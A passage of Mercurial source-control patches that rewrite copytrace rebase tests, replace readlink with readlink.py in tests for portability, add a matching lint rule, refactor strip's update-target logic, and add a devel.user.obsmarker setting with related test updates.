 Move a directory in draft branch
-  $ hg init server
-  $ initclient server
-  $ cd server
+--------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ mkdir dir
   $ echo a > dir/a
   $ hg add dir/a
   $ hg ci -qm initial
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ echo b > dir/a
   $ hg ci -qm 'mod dir/a'
   $ hg up -q ".^"
   $ hg mv -q dir/ dir2
   $ hg ci -qm 'mv dir/ dir2/'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: a33d80b6e352591dfd82784e1ad6cdd86b25a239
-  |   desc: mv dir/ dir2/, phase: draft
+  |   desc: mv dir/ dir2/
   | o  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
-  |/    desc: mod dir/a, phase: draft
+  |/    desc: mod dir/a
   o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 1
   rebasing 2:a33d80b6e352 "mv dir/ dir2/" (tip)
@@ -307,9 +267,11 @@
   $ rm -rf repo
 
 Move file twice and rebase mod on top of moves
-  $ hg init server
-  $ initclient server
-  $ cd server
+----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
@@ -317,60 +279,54 @@
   $ hg ci -m 'mv a b'
   $ hg mv b c
   $ hg ci -m 'mv b c'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
-  $ hg up -q 0
-  $ echo c > a
-  $ hg ci -m 'mod a'
-  created new head
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
-  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
-  |   desc: mod a, phase: draft
-  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
-  | |   desc: mv b c, phase: public
-  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |/    desc: mv a b, phase: public
-  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
-  $ hg rebase -s . -d 2
-  rebasing 3:d41316942216 "mod a" (tip)
-  merging c and a to c
-  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d41316942216-2b5949bc-rebase.hg (glob)
-
-  $ cd ..
-  $ rm -rf server
-  $ rm -rf repo
-
-Move file twice and rebase moves on top of mods
-  $ hg init server
-  $ initclient server
-  $ cd server
-  $ echo a > a
-  $ hg add a
-  $ hg ci -m initial
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
-  $ hg mv a b
-  $ hg ci -m 'mv a b'
-  $ hg mv b c
-  $ hg ci -m 'mv b c'
   $ hg up -q 0
   $ echo c > a
   $ hg ci -m 'mod a'
   created new head
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
-  |   desc: mod a, phase: draft
+  |   desc: mod a
   | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
-  | |   desc: mv b c, phase: draft
+  | |   desc: mv b c
   | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |/    desc: mv a b, phase: draft
+  |/    desc: mv a b
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
+  $ hg rebase -s . -d 2
+  rebasing 3:d41316942216 "mod a" (tip)
+  merging c and a to c
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d41316942216-2b5949bc-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf repo
+
+Move file twice and rebase moves on top of mods
+-----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg mv b c
+  $ hg ci -m 'mv b c'
+  $ hg up -q 0
+  $ echo c > a
+  $ hg ci -m 'mod a'
+  created new head
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
+  |   desc: mod a
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
   $ hg rebase -s 1 -d .
   rebasing 1:472e38d57782 "mv a b"
   merging a and b to b
@@ -379,13 +335,14 @@
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/472e38d57782-ab8d3c58-rebase.hg (glob)
 
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Move one file and add another file in the same folder in one branch, modify file in another branch
-  $ hg init server
-  $ initclient server
-  $ cd server
+--------------------------------------------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
@@ -394,24 +351,20 @@
   $ echo c > c
   $ hg add c
   $ hg ci -m 'add c'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 0
   $ echo b > a
   $ hg ci -m 'mod a'
   created new head
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
-  |   desc: mod a, phase: draft
+  |   desc: mod a
   | o  changeset: b1a6187e79fbce851bb584eadcb0cc4a80290fd9
-  | |   desc: add c, phase: public
+  | |   desc: add c
   | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |/    desc: mv a b, phase: public
+  |/    desc: mv a b
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 2
   rebasing 3:ef716627c70b "mod a" (tip)
@@ -422,10 +375,14 @@
   c
   $ cat b
   b
+  $ rm -rf repo
 
 Merge test
-  $ hg init server
-  $ cd server
+----------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
@@ -435,19 +392,15 @@
   $ hg mv a b
   $ hg ci -m 'mv a b'
   created new head
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 2
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |   desc: mv a b, phase: public
+  |   desc: mv a b
   | o  changeset: b0357b07f79129a3d08a68621271ca1352ae8a09
-  |/    desc: modify a, phase: public
+  |/    desc: modify a
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
 
   $ hg merge 1
   merging b and a to b
@@ -457,35 +410,32 @@
   $ ls
   b
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Copy and move file
-  $ hg init server
-  $ initclient server
-  $ cd server
+------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
   $ hg cp a c
   $ hg mv a b
   $ hg ci -m 'cp a c, mv a b'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q 0
   $ echo b > a
   $ hg ci -m 'mod a'
   created new head
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
-  |   desc: mod a, phase: draft
+  |   desc: mod a
   | o  changeset: 4fc3fd13fbdb89ada6b75bfcef3911a689a0dde8
-  |/    desc: cp a c, mv a b, phase: public
+  |/    desc: cp a c, mv a b
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
 
   $ hg rebase -s . -d 1
   rebasing 2:ef716627c70b "mod a" (tip)
@@ -500,37 +450,34 @@
   $ cat c
   b
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Do a merge commit with many consequent moves in one branch
-  $ hg init server
-  $ initclient server
-  $ cd server
+----------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
   $ echo b > a
   $ hg ci -qm 'mod a'
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ hg up -q ".^"
   $ hg mv a b
   $ hg ci -qm 'mv a b'
   $ hg mv b c
   $ hg ci -qm 'mv b c'
   $ hg up -q 1
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   o  changeset: d3efd280421d24f9f229997c19e654761c942a71
-  |   desc: mv b c, phase: draft
+  |   desc: mv b c
   o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |   desc: mv a b, phase: draft
+  |   desc: mv a b
   | @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
-  |/    desc: mod a, phase: public
+  |/    desc: mod a
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
 
   $ hg merge 3
   merging a and c to c
@@ -545,26 +492,23 @@
   | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
   | |   desc: mv a b, phase: draft
   o |  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
-  |/    desc: mod a, phase: public
+  |/    desc: mod a, phase: draft
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial, phase: draft
   $ ls
   c
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Test shelve/unshelve
-  $ hg init server
-  $ initclient server
-  $ cd server
+-------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
   $ echo a > a
   $ hg add a
   $ hg ci -m initial
-  $ cd ..
-  $ hg clone -q server repo
-  $ initclient repo
-  $ cd repo
   $ echo b > a
   $ hg shelve
   shelved as default
@@ -572,11 +516,11 @@
   $ hg mv a b
   $ hg ci -m 'mv a b'
 
-  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
   @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
-  |   desc: mv a b, phase: draft
+  |   desc: mv a b
   o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
-      desc: initial, phase: public
+      desc: initial
   $ hg unshelve
   unshelving change 'default'
   rebasing shelved changes
@@ -587,7 +531,6 @@
   $ cat b
   b
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Test full copytrace ability on draft branch
@@ -619,7 +562,7 @@
   o  changeset 81973cd24b58db2fdf18ce3d64fb2cc3284e9ab3
       desc initial, phase: draft
 
-  $ hg rebase -s . -d 1
+  $ hg rebase -s . -d 1 --config experimental.copytrace.sourcecommitlimit=100
   rebasing 2:6207d2d318e7 "mod a" (tip)
   merging dir2/b and dir1/a to dir2/b
   saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/6207d2d318e7-1c9779ad-rebase.hg (glob)
@@ -627,11 +570,11 @@
   a
   b
   $ cd ..
-  $ rm -rf server
   $ rm -rf repo
 
 Move directory in one merge parent, while adding file to original directory
 in other merge parent. File moved on rebase.
+
   $ hg init repo
   $ initclient repo
   $ mkdir repo/dir1
@@ -657,16 +600,16 @@
   o  changeset a235dcce55dcf42034c4e374cb200662d0bb4a13
       desc initial, phase: draft
 
-  $ hg rebase -s . -d 1
+  $ hg rebase -s . -d 1 --config experimental.copytrace.sourcecommitlimit=100
   rebasing 2:e8919e7df8d0 "mv dir1 dir2" (tip)
   saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/e8919e7df8d0-f62fab62-rebase.hg (glob)
   $ ls dir2
   a
   dummy
-  $ rm -rf server
   $ rm -rf repo
 
 Testing the sourcecommitlimit config
+-----------------------------------
 
   $ hg init repo
   $ initclient repo
@@ -694,7 +637,7 @@
 
 When the sourcecommitlimit is small and we have more drafts, we use heuristics only
 
-  $ hg rebase -s 8b6e13696 -d . --config experimental.copytrace.sourcecommitlimit=0
+  $ hg rebase -s 8b6e13696 -d .
   rebasing 1:8b6e13696c38 "added more things to a"
   other [source] changed a which local [dest] deleted
   use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
@@ -706,7 +649,7 @@
 
   $ hg rebase --abort
   rebase aborted
-  $ hg rebase -s 8b6e13696 -d .
+  $ hg rebase -s 8b6e13696 -d . --config experimental.copytrace.sourcecommitlimit=100
   rebasing 1:8b6e13696c38 "added more things to a"
   merging foo/bar and a to foo/bar
   saved backup bundle to $TESTTMP/repo/repo/repo/.hg/strip-backup/8b6e13696c38-fc14ac83-rebase.hg (glob)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507712209 25200
#      Wed Oct 11 01:56:49 2017 -0700
# Node ID 63c19b7fa100fd56c006f39b0b23ab7176a455bc
# Parent  1b261be2033bb0a4df77e923e017bbcb5677d63c
ui: recommend tweakdefaults in the default hgrc template

Were I only slightly bolder, I'd make it on by default in the
suggested user hgrc.

Differential Revision: https://phab.mercurial-scm.org/D1001

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -66,6 +66,11 @@
 # username = Jane Doe <jdoe@example.com>
 username =
 
+# We recommend enabling tweakdefaults to get slight improvements to
+# the UI over time. Make sure to set HGPLAIN in the environment when
+# writing scripts!
+# tweakdefaults = True
+
 # uncomment to disable color in command output
 # (see 'hg help color' for details)
 # color = never
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507647743 14400
#      Tue Oct 10 11:02:23 2017 -0400
# Node ID e304fd82c7180bfee61074714750a30f0264a857
# Parent  63c19b7fa100fd56c006f39b0b23ab7176a455bc
tests: use readlink.py instead of readlink

The latter doesn't always exist, such as on Solaris-derived platforms.

Differential Revision: https://phab.mercurial-scm.org/D996

diff --git a/tests/test-convert-p4-filetypes.t b/tests/test-convert-p4-filetypes.t
--- a/tests/test-convert-p4-filetypes.t
+++ b/tests/test-convert-p4-filetypes.t
@@ -746,10 +746,10 @@
   $Header$$Header$Header$
 
 crazy_symlink
-  $ readlink crazy_symlink+k
-  target_$Header: //depot/test-mercurial-import/crazy_symlink+k#1 $
-  $ readlink dst/crazy_symlink+k
-  target_$Header$
+  $ readlink.py crazy_symlink+k
+  crazy_symlink+k -> target_$Header: //depot/test-mercurial-import/crazy_symlink+k#1 $
+  $ readlink.py dst/crazy_symlink+k
+  dst/crazy_symlink+k -> target_$Header$
 
 exit trap:
   stopping the p4 server
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507647760 14400
#      Tue Oct 10 11:02:40 2017 -0400
# Node ID dbb2027f49749a7939eeb57f6e6e66ef49ba8ea4
# Parent  e304fd82c7180bfee61074714750a30f0264a857
tests: use readlink.py instead of readlink

The latter doesn't always exist, such as on Solaris-derived platforms.

Differential Revision: https://phab.mercurial-scm.org/D997

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -80,8 +80,8 @@
   b: replacing untracked file
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
-  $ readlink .hg/origbackups/b
-  ../../../sym-link-target
+  $ readlink.py .hg/origbackups/b
+  .hg/origbackups/b -> ../../../sym-link-target
 
 Perform an update that causes b/c to be backed up again - it should not go into the target dir
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507647773 14400
#      Tue Oct 10 11:02:53 2017 -0400
# Node ID 75bd034a1e000f221218f03dca41f7d327216e23
# Parent  dbb2027f49749a7939eeb57f6e6e66ef49ba8ea4
tests: use readlink.py instead of readlink

The latter doesn't always exist, such as on Solaris-derived platforms.

Differential Revision: https://phab.mercurial-scm.org/D998

diff --git a/tests/test-pathconflicts-merge.t b/tests/test-pathconflicts-merge.t
--- a/tests/test-pathconflicts-merge.t
+++ b/tests/test-pathconflicts-merge.t
@@ -121,8 +121,8 @@
   use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
   [1]
   $ hg mv a/b~2ea68033e3be a/b.old
-  $ readlink a/b.old
-  c
+  $ readlink.py a/b.old
+  a/b.old -> c
   $ hg resolve --mark a/b
   (no more unresolved files)
   $ hg commit -m "merge link (rename link)"
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507647794 14400
#      Tue Oct 10 11:03:14 2017 -0400
# Node ID d6d10771950c277fec9b2e2e07ef694161c3f1a5
# Parent  75bd034a1e000f221218f03dca41f7d327216e23
tests: use readlink.py instead of readlink

The latter doesn't always exist, such as on Solaris-derived platforms.

Differential Revision: https://phab.mercurial-scm.org/D999

diff --git a/tests/test-pathconflicts-update.t b/tests/test-pathconflicts-update.t
--- a/tests/test-pathconflicts-update.t
+++ b/tests/test-pathconflicts-update.t
@@ -59,8 +59,8 @@
   a/b: replacing untracked file
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark dir)
-  $ readlink a/b.orig
-  x
+  $ readlink.py a/b.orig
+  a/b.orig -> x
   $ rm a/b.orig
 
 Update - local directory conflicts with remote file
@@ -94,8 +94,8 @@
   a/b: replacing untracked files in directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark link)
-  $ readlink a/b
-  c
+  $ readlink.py a/b
+  a/b -> c
   $ test -d a/b.orig
   $ rm -rf a/b.orig
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507718891 25200
#      Wed Oct 11 03:48:11 2017 -0700
# Node ID 3e4b7861c1c56dd19252230d50206f2a148424d1
# Parent  d6d10771950c277fec9b2e2e07ef694161c3f1a5
contrib: add check-code rule banning use of readlink

readlink doesn't always exist, such as on Solaris-derived platforms.

Differential Revision: https://phab.mercurial-scm.org/D1000

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -203,6 +203,7 @@
      'use test -f to test for file existence'),
     (r'^  diff -[^ -]*p',
      "don't use (external) diff with -p for portability"),
+    (r' readlink ', 'use readlink.py instead of readlink'),
     (r'^  [-+][-+][-+] .* [-+]0000 \(glob\)',
      "glob timezone field in diff output for portability"),
     (r'^  @@ -[0-9]+ [+][0-9]+,[0-9]+ @@',
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1507209094 -7200
#      Thu Oct 05 15:11:34 2017 +0200
# Node ID 05c2a9f37a1dde8df024876cca0f76108c8e6f42
# Parent  3e4b7861c1c56dd19252230d50206f2a148424d1
strip: factor out update target selection

The same algorithm was used in two places: one to find out which commit shall
become the parent of wdir, and the other to prepare the wdir when keeping
changes. Factoring it out prevents inconsistent changes in either occurrence.

diff --git a/hgext/strip.py b/hgext/strip.py
--- a/hgext/strip.py
+++ b/hgext/strip.py
@@ -58,16 +58,21 @@
             raise error.Abort(_("local changed subrepos found" + excsuffix))
     return s
 
+def _findupdatetarget(repo, nodes):
+    unode, p2 = repo.changelog.parents(nodes[0])
+
+    if (util.safehasattr(repo, 'mq') and p2 != nullid
+        and p2 in [x.node for x in repo.mq.applied]):
+        unode = p2
+
+    return unode
+
 def strip(ui, repo, revs, update=True, backup=True, force=None, bookmarks=None):
     with repo.wlock(), repo.lock():
 
         if update:
             checklocalchanges(repo, force=force)
-            urev, p2 = repo.changelog.parents(revs[0])
-            if (util.safehasattr(repo, 'mq') and
-                p2 != nullid
-                and p2 in [x.node for x in repo.mq.applied]):
-                urev = p2
+            urev = _findupdatetarget(repo, revs)
             hg.clean(repo, urev)
             repo.dirstate.write(repo.currenttransaction())
 
@@ -196,10 +201,7 @@
 
         revs = sorted(rootnodes)
         if update and opts.get('keep'):
-            urev, p2 = repo.changelog.parents(revs[0])
-            if (util.safehasattr(repo, 'mq') and p2 != nullid
-                and p2 in [x.node for x in repo.mq.applied]):
-                urev = p2
+            urev = _findupdatetarget(repo, revs)
             uctx = repo[urev]
 
             # only reset the dirstate for files that would actually change
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507299324 -7200
#      Fri Oct 06 16:15:24 2017 +0200
# Node ID dc91580a0a880e2cc6a96456360fd6050adc9faf
# Parent  05c2a9f37a1dde8df024876cca0f76108c8e6f42
obsolete: add a devel.user.obsmarker

In tests, we often want to use a different username in obs-markers without
changing the default user. Add a 'devel.user.obsmarker'.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -158,6 +158,9 @@
 coreconfigitem('devel', 'warn-config-default',
     default=None,
 )
+coreconfigitem('devel', 'user.obsmarker',
+    default=None,
+)
 coreconfigitem('diff', 'nodates',
     default=None,
 )
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -1035,7 +1035,11 @@
     if metadata is None:
         metadata = {}
     if 'user' not in metadata:
-        metadata['user'] = repo.ui.username()
+        develuser = repo.ui.config('devel', 'user.obsmarker')
+        if develuser:
+            metadata['user'] = develuser
+        else:
+            metadata['user'] = repo.ui.username()
 
     # Operation metadata handling
     useoperation = repo.ui.configbool('experimental',
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -42,8 +42,8 @@
   $ mkcommit ROOT
   $ mkcommit A0
   $ echo 42 >> A0
-  $ HGUSER=test1 hg commit --amend -m "A1" --config devel.default-date="1234567890 0"
-  $ HGUSER=test2 hg commit --amend -m "A2" --config devel.default-date="987654321 0"
+  $ hg commit --amend -m "A1" --config devel.default-date="1234567890 0" --config devel.user.obsmarker=test1
+  $ hg commit --amend -m "A2" --config devel.default-date="987654321 0" --config devel.user.obsmarker=test2
 
   $ hg log --hidden -G
   @  changeset:   3:d004c8f274b9
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507300601 -7200
#      Fri Oct 06 16:36:41 2017 +0200
# Node ID 50b46054b869e2ee8061cd2af22f15cc938991b1
# Parent  dc91580a0a880e2cc6a96456360fd6050adc9faf
test: rename obsfate template alias

We will introduce an obsfate templatekw in the next patch that will conflict
with the obsfate template in the test file, rename the one in test file to
avoid this collision.

diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -17,7 +17,7 @@
   > obsfateoperations = "{if(obsfateoperations(markers), " using {join(obsfateoperations(markers), ", ")}")}"
   > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
   > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
-  > obsfate = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
+  > obsfatetempl = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -27,7 +27,7 @@
   >     {if(successorssets, "\n  Successors: {successorssets}")}\
   >     {if(successorssets, "\n  multi-line: {join(successorssets, "\n  multi-line: ")}")}\
   >     {if(successorssets, "\n  json: {successorssets|json}")}\n'
-  > fatelog = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers % "{obsfate}"} \n" )}'
+  > fatelog = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers % "{obsfatetempl}"} \n" )}'
   > fatelogjson = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers|json}\n")}'
   > EOF
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507302319 -7200
#      Fri Oct 06 17:05:19 2017 +0200
# Node ID 3c1bb8a4275dadb605baf8a90fe15b1d7281b472
# Parent  50b46054b869e2ee8061cd2af22f15cc938991b1
test: cleanup verbosity variant from fatelog test

Unlike the '{obsfate}' keyword defined in 'hg-evolve', the definition of hg
fatelog in test-obsmarker-template.t is not verbosity dependent. Remove useless
call to fatelog -v and fatelog -q.

diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -87,13 +87,6 @@
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
-  $ hg fatelog -q --traceback
-  o  d004c8f274b9
-  |
-  | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
-  o  ea207398892e
-  
   $ hg fatelog
   o  d004c8f274b9
   |
@@ -101,13 +94,6 @@
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
-  $ hg fatelog -v
-  o  d004c8f274b9
-  |
-  | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
-  o  ea207398892e
-  
   $ hg up 'desc(A1)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -124,7 +110,7 @@
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
-  $ hg fatelog -v
+  $ hg fatelog
   o  d004c8f274b9
   |
   | @  a468dc9b3633
@@ -153,7 +139,7 @@
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
-  $ hg fatelog --hidden -q
+  $ hg fatelog --hidden
   o  d004c8f274b9
   |
   | @  a468dc9b3633
@@ -192,13 +178,13 @@
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
-  $ hg fatelog -v
+  $ hg fatelog
   @  d004c8f274b9
   |
   o  ea207398892e
   
 
-  $ hg fatelog -v --hidden
+  $ hg fatelog --hidden
   @  d004c8f274b9
   |
   | x  a468dc9b3633
@@ -1624,11 +1610,6 @@
   |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
-  $ hg fatelog -v
-  @  471f378eab4c
-  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
-  o  ea207398892e
-  
 Test templates with multiple pruned commits
 ===========================================
 
@@ -1665,7 +1646,7 @@
   |    Obsfate: pruned;
   o  ea207398892e
   
-  $ hg fatelog -v --hidden
+  $ hg fatelog --hidden
   x  65b757b745b9
   |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   | x  fdf9bde5129a
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507530955 -7200
#      Mon Oct 09 08:35:55 2017 +0200
# Node ID 794018ed8af058528a5678888e970dcfa7f355a3
# Parent  3c1bb8a4275dadb605baf8a90fe15b1d7281b472
test: use current user in the multi-user amend scenario

The obsfate template keyword that will be introduced in a later patch
distinguish between current user and other users when displaying the obsfate
users.

Update the test before for clarity.

diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -42,7 +42,7 @@
   $ mkcommit ROOT
   $ mkcommit A0
   $ echo 42 >> A0
-  $ hg commit --amend -m "A1" --config devel.default-date="1234567890 0" --config devel.user.obsmarker=test1
+  $ hg commit --amend -m "A1" --config devel.default-date="1234567890 0"
   $ hg commit --amend -m "A2" --config devel.default-date="987654321 0" --config devel.user.obsmarker=test2
 
   $ hg log --hidden -G
@@ -91,7 +91,7 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -145,7 +145,7 @@
   | @  a468dc9b3633
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
 
@@ -190,7 +190,7 @@
   | x  a468dc9b3633
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
